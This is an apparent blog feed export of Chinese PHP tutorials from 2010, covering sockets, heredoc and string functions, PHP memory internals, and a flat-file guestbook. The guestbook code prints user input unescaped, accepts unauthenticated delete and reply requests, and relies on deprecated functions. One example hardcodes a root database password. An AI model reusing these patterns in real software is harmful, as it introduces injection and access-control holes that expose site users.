<p>这个服务器端要做什么呢？它初始化一个socket并且打开一个缓存收发数据。它等待连接，一旦产生一个连接，它将打印“Socket connected”在服务器端的屏幕上。这个服务器检查缓冲区，如果缓冲区里有数据，它将把数据发送到连接过来的计算机。然后它发送这个数据的接受信息，一旦它接受了信息，就把信息保存到数据里，并且让连接的计算机知道这些信息，最后关闭连接。当连接关闭后，服务器又开始处理下一次连接。</p>
<p>◆　产生一个客户端</p>
<p>处理第二个问题是很容易的。你需要产生一个php页连接一个socket，发送一些数据进它的缓存并处理它。然后你又个处理后的数据在还顿，你能够发送你的数据到服务器。在另外一台客户端连接，它将处理那些数据。</p>
<p>下面的例子示范了使用socket：</p>
<p>&lt;?php<br />
// Create the socket and connect<br />
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);<br />
$connection = socket_connect($socket,’localhost’, 1337);<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
if($buffer == “NO DATA”)<br />
{<br />
echo(“&lt;p&gt;NO DATA&lt;/p&gt;”);<br />
break;<br />
}<br />
else<br />
{<br />
// Do something with the data in the buffer<br />
echo(“&lt;p&gt;Buffer Data: “ . $buffer . “&lt;/p&gt;”);<br />
}<br />
}<br />
echo(“&lt;p&gt;Writing to Socket&lt;/p&gt;”);<br />
// Write some test data to our socket<br />
if(!socket_write($socket, “SOME DATA\r\n”))<br />
{<br />
echo(“&lt;p&gt;Write failed&lt;/p&gt;”);<br />
}<br />
// Read any response from the socket<br />
while($buffer = socket_read($socket, 1024, PHP_NORMAL_READ))<br />
{<br />
echo(“&lt;p&gt;Data sent was: SOME DATA&lt;br&gt; Response was:” . $buffer . “&lt;/p&gt;”);<br />
}<br />
echo(“&lt;p&gt;Done Reading from Socket&lt;/p&gt;”);<br />
?&gt;</p>
<p>这个例子的代码演示了客户端连接到服务器。客户端读取数据。如果这是第一时间到达这个循环的首次连接，这个服务器将发送“NO DATA”返回给客户端。如果情况发生了，这个客户端在连接之上。客户端发送它的数据到服务器，数据发送给服务器，客户端等待响应。一旦接受到响应，那么它将把响应写到屏幕上。</p>
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		<pubDate>Sun, 25 Jul 2010 17:18:49 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>不多说了，看代码。自己体会 &#60;?php echo “濙水河边的PHP演示”; echo “&#60;br&#62;”; $db=mysql_connect(“localhost”,”root”,”123456&#8243;); mysql_select_db(“jaycee”,$db); $rs=mysql_query(“select * from gbook”,$db); while($row=mysql_fetch_row($rs)) { echo &#60;&#60;&#60; eod &#60;table width=”99%” border=”1&#8243; cellspacing=”0&#8243; cellpadding=”0&#8243;&#62; &#60;tr&#62; &#60;td&#62;$row[0]&#60;/td&#62; &#60;td&#62;$row[1]&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;$row[2]&#60;/td&#62; &#60;td&#62;$row[3]&#60;/td&#62; &#60;/tr&#62; &#60;/table&#62; eod; } ?&#62; &#60;&#60;&#60;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。 淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？ 居然不提。愤怒！ 淡水河边看的书上叫它文档句法,又称定界符.它的语法是”&#60;&#60;&#60;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格. 字符串的操作 1. 字符串的表现形式 在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即： 单引号 双引号 定界符（heredoc syntax） 看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线”\”.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。 让我们定界符吧。它的语法是”&#60;&#60;&#60;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如： &#60;?php $str= &#60;&#60;&#60;EOD Hello, this is an [...]]]></description>
			<content:encoded><![CDATA[<p>不多说了，看代码。自己体会</p>
<p>&lt;?php<br />
echo “濙水河边的PHP演示”;<br />
echo “&lt;br&gt;”;<br />
$db=<a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a>_connect(“localhost”,”root”,”123456&#8243;);<br />
mysql_select_db(“jaycee”,$db);<br />
$rs=mysql_query(“select * from gbook”,$db);<br />
while($row=mysql_fetch_row($rs))<br />
{<br />
echo &lt;&lt;&lt; eod<br />
&lt;table width=”99%” border=”1&#8243; cellspacing=”0&#8243; cellpadding=”0&#8243;&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[0]&lt;/td&gt;<br />
&lt;td&gt;$row[1]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;$row[2]&lt;/td&gt;<br />
&lt;td&gt;$row[3]&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/table&gt;<br />
eod;<br />
}<br />
?&gt;</p>
<p>&lt;&lt;&lt;也就是可以让我们在PHP代码内实现一大段的HTML代码，并且可以在其中，使用PHP变量。</p>
<p>淡水河边这厮，找到许多PHP入门呀，php起步呀＝＝的书，从没提到用到这个。郁闷，用不到么？</p>
<p>居然不提。愤怒！ <span id="more-497"></span></p>
<p>淡水河边看的书上叫它文档句法,又称定界符.它的语法是”&lt;&lt;&lt;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。注意，淡水河边这厮这里用的标志符是EOD，结束的那个标志要顶头写，不能有缩进和空格.</p>
<p>字符串的操作</p>
<p>1. 字符串的表现形式</p>
<p>在大部分语言里，双引号是字符串，单引号是字符。但是在PHP里，字符串的表现形式有3种。即：</p>
<p>单引号</p>
<p>双引号</p>
<p>定界符（heredoc syntax）</p>
<p>看见了吧，单引号居然可以用来表示字符串。那么如果我想表示单引号怎么办？和大多数语言一样，使用转义符号吧。即反斜线”\”.那么使用单引号和双引号有什么区别呢？我的观点是没有多大区别。唯一的区别就是双引号可以应用更多的转义符。<br />
让我们定界符吧。它的语法是”&lt;&lt;&lt;”。用法是在其后提供一个标识符，然后在标识符后提供字符串，再在字符串后提供此标识符来结尾。例如：</p>
<p>&lt;?php<br />
$str= &lt;&lt;&lt;EOD<br />
Hello, this is an example for HEREDOC Syntax.<br />
Please attention to it.<br />
EOD;<br />
echo $str;<br />
?&gt;</p>
<p>注意，这里的提供的标志符是EOD，中间的是字符串。</p>
<p>2. 字符串的特别之处</p>
<p>从一个例子开始。</p>
<p>假设里你有很长的一段字符串，比如一段话。几个月后，你发现你的需求改变，需要在这段话的某个位置插入一个变量。这个时候如果重新用字符串符肯定是相当复杂的。那么有没有其他的方法呢？请放心，PHP已经考虑到这一点了。那就是花括号的应用。</p>
<p>对于PHP，它一般会按照如下规则解析：</p>
<p>如果遇到美元符号（$），解析器会尽可能多地取得后面的字符以组成一个合法的变量名。如果想明示指定名字的结束，用花括号把变量名括起来。例如</p>
<p>&lt;?php<br />
$beer = “Heineken”;<br />
echo “$beer”s taste is great”; // works, “”" is an invalid character for varnames<br />
echo “He drank some $beers”; // won”t work, “s” is a valid character for varnames<br />
echo “He drank some ${beer}s”; // works<br />
echo “He drank some {$beer}s”; // works<br />
?&gt;</p>
<p>看看第3，4行。第三行的$beer”s其实是$beer 后加“‘s”。因为这里的“’”对于变量命名来说是一个无效字符。但是第4行的$beers就不一样了。所以$beers是无效的。<br />
除了上面的,你还会注意到地5，6行的${beer}以及{$beer｝。对于PHP来说它们都是合法的。</p>
<p>但是你必须注意一点，${beer}以及{$beer｝的$和｛必须是紧挨的。不然｛就会当成｛字符看待了。</p>
<p>3，字符串的常用操作。</p>
<p>我想这是令我们异常激动的一个话题，并且也是非常实用的。</p>
<p>字符串的函数比较多，我们还是介绍一部分函数吧。</p>
<p>字符串的整理函数</p>
<p>chop(),其实就是rtrim().当然rtrim()还是可以用的</p>
<p>ltrim(),去掉字符串左边的多于空格。</p>
<p>trim(),这个比较比较简单，就是把字符串左右2边的空格都给删除。</p>
<p>字符串的格式化输出</p>
<p>实用HTML格式化的。nl2br().即在字符串的新一行前插入&lt;br&gt;.</p>
<p>&lt;?php<br />
echo nl2br(“foo isn”t\n bar”);<br />
?&gt;</p>
<p>上面的字符串会分2行显示，如果把此函数去掉，就只在一行上显示了。</p>
<p>打印输出的格式化。</p>
<p>PHP支持print()<a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" class="st_tag internal_tag" rel="tag" title="标签 函数 下的日志">函数</a>，它和echo一样，唯一的差别就是print()返回一个整型值，一直为1。除了print(),还有printf()和sprintf(). 写到这里，你肯定会想，怎么和C一样呢。它们的工作方式一样，差别是printf()将结果输出到浏览器，而sprintf()这是输出到变量。</p>
<p>看看它们的定义吧。</p>
<p>int printf ( string format [, mixed args [, mixed ]] )</p>
<p>string sprintf ( string format [, mixed args [, mixed ]] )</p>
<p>改变字符串的大小写。</p>
<p>strtolower将字符串变为小写</p>
<p>strtoupper将字符串变为大写</p>
<p>ucfirst将字符串的第一个字符大写。</p>
<p>ucwords 将字符串中的每一个单词的第一个字符变为大写。</p>
<p>格式化字符，以便存储。</p>
<p>其实就是为了替换引号，反斜杠，NULL等，因为它们有的时候不适合于很多场合，比如存储到数据库。为了达到目的，addslashes是一个不错的选择，它使用反斜线引用字符串。为了在显示数据，需要在之前调用stripslashes，否则反斜杠会显示出来的。</p>
<p>字符串比较</p>
<p>strcmp,strcasecmp,strnatcmp,有时间再查一下</p>
<p>字符串长度请调用strlen.</p>
<p>字符串连接与分割</p>
<p>explode类似于C#里的Split函数。例如：</p>
<p>&lt;?php<br />
$str = “Is yours name reilly?”;<br />
$var=explode(” “,$str);<br />
echo $var[0];//输出：Is<br />
echo $var[1];//输出:yours<br />
?&gt;</p>
<p>implode()和join()提供的功能一样，正好与explode()相反，它们将多个字符换合并起来。</p>
<p>strtok()和split类似，但是它一次只取出一个。</p>
<p>为了取得子字符串，调用substr()吧。</p>
<p>查找字符串中的字符串</p>
<p>可以调用strstr(),strchr(),strrchr()以及stristr().记住，strchr()是strstr()的别名，查找第一次出现的地方。strrchr()，查找最后一个字符串出现的地方。</p>
<p>stristr()和strstr()的区别是前者不区分大小写。</p>
<p>查找字符串的位置可以使用strpos()以及strrpos().</p>
<p>替换的话，调用str_replace()以及substr_replace().</p>
<p>以上介绍都是最常用的，如果想得到更多字符串的函数以及函数的信息，参考PHP的函数文档。</p>
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		<title>深入探讨PHP中的内存管理问题</title>
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		<pubDate>Sun, 25 Jul 2010 17:15:34 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/peeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>一、 内存 　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句”"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如”char *str = “hello world “;”这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。 以下为引用的内容： 　　{ 　　char *str; 　　str = strdup(“hello world”); 　　if (!str) { 　　fprintf(stderr， “Unable to allocate memory!”); 　　} 　　} 　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。 　　二、 释放内存 　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指”操作系统”)：”我想使用一些内存空间”。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。 　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序”存在漏洞”，因为这部分内存无法再为其它程序可用。 　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所”容忍”，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。 　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。 　　现在，我们不妨考虑用户空间内的stristr()函数;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。 　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。 　　三、 错误处理 　　为了实现”跳出”对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全”跳出”一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个”跳出”地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该”跳出”地址。 　　尽管这个”跳出”进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码： 以下为引用的内容： 　　void call_function(const char *fname， int fname_len TSRMLS_DC){ 　　zend_function *fe; 　　char *lcase_fname; 　　/* PHP函数名是大小写不敏感的， 　　*为了简化在函数表中对它们的定位， 　　*所有函数名都隐含地翻译为小写的 [...]]]></description>
			<content:encoded><![CDATA[<p>一、 内存</p>
<p>　　在PHP中，填充一个字符串变量相当简单，这只需要一个语句”"即可，并且该字符串能够被自由地修改、拷贝和移动。而在C语言中，尽管你能够编写例如”char *str = “hello world “;”这样的一个简单的静态字符串;但是，却不能修改该字符串，因为它生存于程序空间内。为了创建一个可操纵的字符串，你必须分配一个内存块，并且通过一个函数(例如strdup())来复制其内容。</p>
<p>以下为引用的内容：</p>
<p>　　{</p>
<p>　　char *str;</p>
<p>　　str = strdup(“hello world”);</p>
<p>　　if (!str) {</p>
<p>　　fprintf(stderr， “Unable to allocate memory!”);</p>
<p>　　}</p>
<p>　　}</p>
<p>　　由于后面我们将分析的各种原因，传统型内存管理函数(例如malloc()，free()，strdup()，realloc()，calloc()，等等)几乎都不能直接为PHP源代码所使用。<span id="more-495"></span></p>
<p>　　二、 释放内存</p>
<p>　　在几乎所有的平台上，内存管理都是通过一种请求和释放模式实现的。首先，一个应用程序请求它下面的层(通常指”<a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" class="st_tag internal_tag" rel="tag" title="标签 操作系统 下的日志">操作系统</a>”)：”我想使用一些内存空间”。如果存在可用的空间，操作系统就会把它提供给该程序并且打上一个标记以便不会再把这部分内存分配给其它程序。</p>
<p>　　当应用程序使用完这部分内存，它应该被返回到OS;这样以来，它就能够被继续分配给其它程序。如果该程序不返回这部分内存，那么OS无法知道是否这块内存不再使用并进而再分配给另一个进程。如果一个内存块没有释放，并且所有者应用程序丢失了它，那么，我们就说此应用程序”存在漏洞”，因为这部分内存无法再为其它程序可用。</p>
<p>　　在一个典型的客户端应用程序中，较小的不太经常的内存泄漏有时能够为OS所”容忍”，因为在这个进程稍后结束时该泄漏内存会被隐式返回到OS。这并没有什么，因为OS知道它把该内存分配给了哪个程序，并且它能够确信当该程序终止时不再需要该内存。</p>
<p>　　而对于长时间运行的服务器守护程序，包括象Apache这样的web服务器和扩展php模块来说，进程往往被设计为相当长时间一直运行。因为OS不能清理内存使用，所以，任何程序的泄漏-无论是多么小-都将导致重复操作并最终耗尽所有的系统资源。</p>
<p>　　现在，我们不妨考虑用户空间内的stristr()函数;为了使用大小写不敏感的搜索来查找一个字符串，它实际上创建了两个串的各自的一个小型副本，然后执行一个更传统型的大小写敏感的搜索来查找相对的偏移量。然而，在定位该字符串的偏移量之后，它不再使用这些小写版本的字符串。如果它不释放这些副本，那么，每一个使用stristr()的脚本在每次调用它时都将泄漏一些内存。最后，web服务器进程将拥有所有的系统内存，但却不能够使用它。</p>
<p>　　你可以理直气壮地说，理想的解决方案就是编写良好、干净的、一致的代码。这当然不错;但是，在一个象PHP解释器这样的环境中，这种观点仅对了一半。</p>
<p>　　三、 错误处理</p>
<p>　　为了实现”跳出”对用户空间脚本及其依赖的扩展函数的一个活动请求，需要使用一种方法来完全”跳出”一个活动请求。这是在Zend引擎内实现的：在一个请求的开始设置一个”跳出”地址，然后在任何die()或exit()调用或在遇到任何关键错误(E_ERROR)时执行一个longjmp()以跳转到该”跳出”地址。</p>
<p>　　尽管这个”跳出”进程能够简化程序执行的流程，但是，在绝大多数情况下，这会意味着将会跳过资源清除代码部分(例如free()调用)并最终导致出现内存漏洞。现在，让我们来考虑下面这个简化版本的处理函数调用的引擎代码：</p>
<p>以下为引用的内容：</p>
<p>　　void call_function(const char *fname， int fname_len TSRMLS_DC){</p>
<p>　　zend_function *fe;</p>
<p>　　char *lcase_fname;</p>
<p>　　/* PHP函数名是大小写不敏感的，</p>
<p>　　*为了简化在函数表中对它们的定位，</p>
<p>　　*所有函数名都隐含地翻译为小写的</p>
<p>　　*/</p>
<p>　　lcase_fname = estrndup(fname， fname_len);</p>
<p>　　zend_str_tolower(lcase_fname， fname_len);</p>
<p>　　if (zend_hash_find(EG(function_table)，lcase_fname， fname_len + 1， (void **)&amp;fe) == FAILURE) {</p>
<p>　　zend_execute(fe-&gt;op_array TSRMLS_CC);</p>
<p>　　} else {</p>
<p>　　<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>_error_docref(NULL TSRMLS_CC， E_ERROR，”Call to undefined function: %s()”， fname);</p>
<p>　　}</p>
<p>　　efree(lcase_fname);</p>
<p>　　}</p>
<p>　　当执行到php_error_docref()这一行时，内部错误处理器就会明白该错误级别是critical，并相应地调用longjmp()来中断当前程序流程并离开call_function()函数，甚至根本不会执行到efree(lcase_fname)这一行。你可能想把efree()代码行移动到zend_error()代码行的上面;但是，调用这个call_function()例程的代码行会怎么样呢?fname本身很可能就是一个分配的字符串，并且，在它被错误消息处理使用完之前，你根本不能释放它。</p>
<p>　　注意，这个php_error_docref()函数是trigger_error()函数的一个内部等价实现。它的第一个参数是一个将被添加到docref的可选的文档引用。第三个参数可以是任何我们熟悉的E_*家族常量，用于指示错误的严重程度。第四个参数(最后一个)遵循printf()风格的格式化和变量参数列表式样。</p>
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		<title>PHP对文本数据库的基本操作方法</title>
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		<pubDate>Sun, 25 Jul 2010 16:56:38 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[code]]></category>
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		<category><![CDATA[页面]]></category>

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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法 我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。 此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 1、加入数据程序段。 $date=date(“Y-m-d H:i:s”);//取得系统时间 $ip = $HTTP_SERVER_VARS[REMOTE_ADDR]; //取得发言的IP地址 $text=encode($gb_text);//去掉留言内容后面的空格. $fp=fopen(“gb.dat”,”a”);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部. $str=$ip.”　”.$date.”　”.$gb_name.”　”.$gb_email.”　”.$gb_home.”　”.$face.”　”.$gb_qq.”　”.$head.”　”.$text.”　”.$reply.”\n”;//将所有留言的数据赋予变量$str，”　”的目的是用来今后作数据分割时的数据间隔符号。 fwrite($fp,$str);//将数据写入文件 fclose($fp);//关闭文件 showmessage(“留言成功!”,”index.php”,”3&#8243;);//留言成功，3秒后自动返回主界面。 其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。 2、数据显示程序段 ＜? if (file_exists(“gb.dat”)){//检测文件是否存在 $array=file(“gb.dat”);//将文件全部内容读入到数组$array $arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。 $num=count($array);//获取数组$array里的信息数(一行为一条信息) if ($num＞0){//如果信息数大于零（即文本数据库不为空） $total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数) if($page＜1){//如果当前页面数码号小于1 $page=1;//则赋值为1 } $number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的） for($i=0;$i＜=$pagesize-1;$i++){//进入循环 $row=explode(“　”,$arr[$number]);//以”　”作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量 ?＞ ＜img src=＜? echo $head ?＞ ＞//显示客户形象图片 ＜br＞ ＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名 发表于：＜? echo $datetime ?＞//显示留言发表时间 ＜br＞ ＜img [...]]]></description>
			<content:encoded><![CDATA[<p>PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法<br />
我用一个留言本程序作为例子，阐述PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。<br />
此文本数据库共有字段10个：客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。 </p>
<p>1、加入数据程序段。 </p>
<p>$date=date(“Y-m-d H:i:s”);//取得系统时间<br />
$ip = $HTTP_<a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">SERVER</a>_VARS[REMOTE_ADDR]; //取得发言的IP地址<br />
$text=encode($gb_text);//去掉留言内容后面的空格.<br />
$fp=fopen(“gb.dat”,”a”);//以只写模式打开gb.dat文本文件,文件指针指向文件尾部.<br />
$str=$ip.”　”.$date.”　”.$gb_name.”　”.$gb_email.”　”.$gb_home.”　”.$face.”　”.$gb_qq.”　”.$head.”　”.$text.”　”.$reply.”\n”;//将所有留言的数据赋予变量$str，”　”的目的是用来今后作数据分割时的数据间隔符号。<br />
fwrite($fp,$str);//将数据写入文件<br />
fclose($fp);//关闭文件<br />
showmessage(“留言成功!”,”index.php”,”3&#8243;);//留言成功，3秒后自动返回主界面。<br />
其中的$gb_name 、$gb_email、$gb_home、$face、$gb_qq、$head、$gb_text、$reply是由发言表单传过来的数据。<br />
<span id="more-490"></span><br />
2、数据显示程序段 </p>
<p>＜?<br />
if (file_exists(“gb.dat”)){//检测文件是否存在<br />
$array=file(“gb.dat”);//将文件全部内容读入到数组$array<br />
$arr=array_reverse($array);//将$array里的数据安行翻转排列（即最后一行当第一行，依此类推）读入数组$arr的每一个单元（$arr[0]&#8230;）。<br />
$num=count($array);//获取数组$array里的信息数(一行为一条信息)<br />
if ($num＞0){//如果信息数大于零（即文本数据库不为空）<br />
$total=ceil($num/$pagesize);//计算总页数(取最大整数,即凡有小数点都进一取整，$pagesize为预设的每页显示的信息数)<br />
if($page＜1){//如果当前页面数码号小于1<br />
$page=1;//则赋值为1<br />
}<br />
$number=($page-1)*$pagesize;//计算当前所显示第一个留言的数码号（数码号从零开始，主要是达到与数组单元号对应的目的）<br />
for($i=0;$i＜=$pagesize-1;$i++){//进入循环<br />
$row=explode(“　”,$arr[$number]);//以”　”作为分割符,分割数组$arr中每第$number个单元的数据,并将这些数据赋予数组$rom<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞ </p>
<p>＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址<br />
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句<br />
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
if ($number == $num-1)//如果数组的单元号等于总留言数减一（因为单元号以零开始的，所以这意味着这是最后一条留言）<br />
{<br />
break;//跳出循环<br />
}<br />
$number = $number + 1; //数组单元号加1<br />
}//循环结束符<br />
}<br />
if ($page ＜＞ 1)//如果当前页面数码号不等于1<br />
{<br />
$back = $page &#8211; 1;//当前页面数码号减1，并将此值赋予变量$back<br />
echo “＜a href=index.php?page=1＞第一页＜/a＞”;//显示第一页的连接<br />
echo ” ＜a href=index.php?page=$back＞上一页＜/a＞” ;当前页面数码号等于$back，并显示其连接<br />
}<br />
if ($page ＜＞ $total)//如果当前页面数码号不等于总页数号（最后一页数码号）<br />
{<br />
$next = $page + 1;//当前页面数码号加1并赋予变量$next<br />
echo ” ＜a href=index.php?page=$next＞下一页＜/a＞” ;//显示下一页连接<br />
echo ” ＜a href=index.php?page=$total＞最后一页＜/a＞”; 显示最后一页连接<br />
}<br />
echo “页数：$page / $total”;//显示当前页面数码号和显示最后一页数码号<br />
echo “共有 $num 条留言”;//显示留言数信息<br />
}<br />
else {<br />
echo “＜center＞当前没有任何留言！＜/center＞”;//如果文件内容为空则显示的信息<br />
}<br />
else {<br />
echo “＜center＞数据文件丢失，请联系管理员！或发布留言重新建立数据文件！＜/center＞”;//如果文件不存在显示的信息<br />
} </p>
<p>3、数据修改程序段 </p>
<p>$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){ //如果留言数大于0 </p>
<p>$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat<br />
$gb_reply=encode($gb_reply);<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将送来发留言时间$ttime与数组单元$list里内容进行字串匹配比较<br />
$f=explode(“　”,$list[$i]);//如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$f<br />
$f[9]=$gb_reply;//将$f[9]（留言信息最后一条数据）用$gb_reply（回复内容）代替。<br />
$list[$i]=$f[0].”　”.$f[1].”　”.$f[2].”　”.$f[3].”　”.$f[4].”　”.$f[5].”　”.$f[6].”　”.$f[7].”　”.$f[8].”　”.$f[9].”\n”; //将数组单元$list[$i]的内容用数组$f加上分隔符”　”代替（其中$f[9]是修改了的新数据）。<br />
break;//跳出循环<br />
}<br />
}//循环结束符<br />
}<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
}//循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(“回复成功!”,”index.php”);//回复成功，自动返回主界面。 </p>
<p>4、数据删除程序段 </p>
<p>$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
if ($n＞0){//如果留言数大于0<br />
$fp=fopen(“gb.dat”,”w”);//则以只写模式打开文件gb.dat<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($ttime,$list[$i])){//将发送过来发留言时间$ttime与数组$list[$i]里的字串进行匹配比较<br />
$list[$i]=”";//如果匹配成功，则将$list[$i]清空（达到删除的目的）<br />
break;//跳出循环<br />
}<br />
